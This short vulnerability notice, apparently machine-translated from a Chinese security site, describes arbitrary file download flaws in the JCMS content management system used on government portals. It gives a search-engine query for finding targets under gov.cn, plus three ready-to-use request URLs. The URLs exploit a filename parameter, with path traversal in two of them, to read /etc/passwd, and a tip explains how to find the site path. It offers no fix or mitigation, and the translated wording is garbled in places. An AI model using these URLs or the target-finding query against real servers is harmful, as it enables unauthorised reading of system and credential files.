Han Edition through JCMS content management system arbitrary File Download vulnerability-vulnerability warning-the black bar safety net

With this system Government portal, mostly, on Google inurl:gov. cn/jcms way, the amount is not very large. Multiple arbitrary File Download, effects version unknown, probably all affect it.

1. http://target/jcms/m_5_9/sendreport/downfile.jsp?filename=/etc/passwd&savename=passwd.txt

To get to the site path, visit: http://target/jcms/m_5_9/sendreport/, and then generate a report to see got.

2. http://target/jcms/m_5_e/init/comment/opr_readfile.jsp?filename=../../../../../../../../../../../../../../../../etc/passwd

3. http://target/jcms/m_5_e/init/guestbook/opr_readfile.jsp?filename=../../../../../../../../../../../../../../../../etc/passwd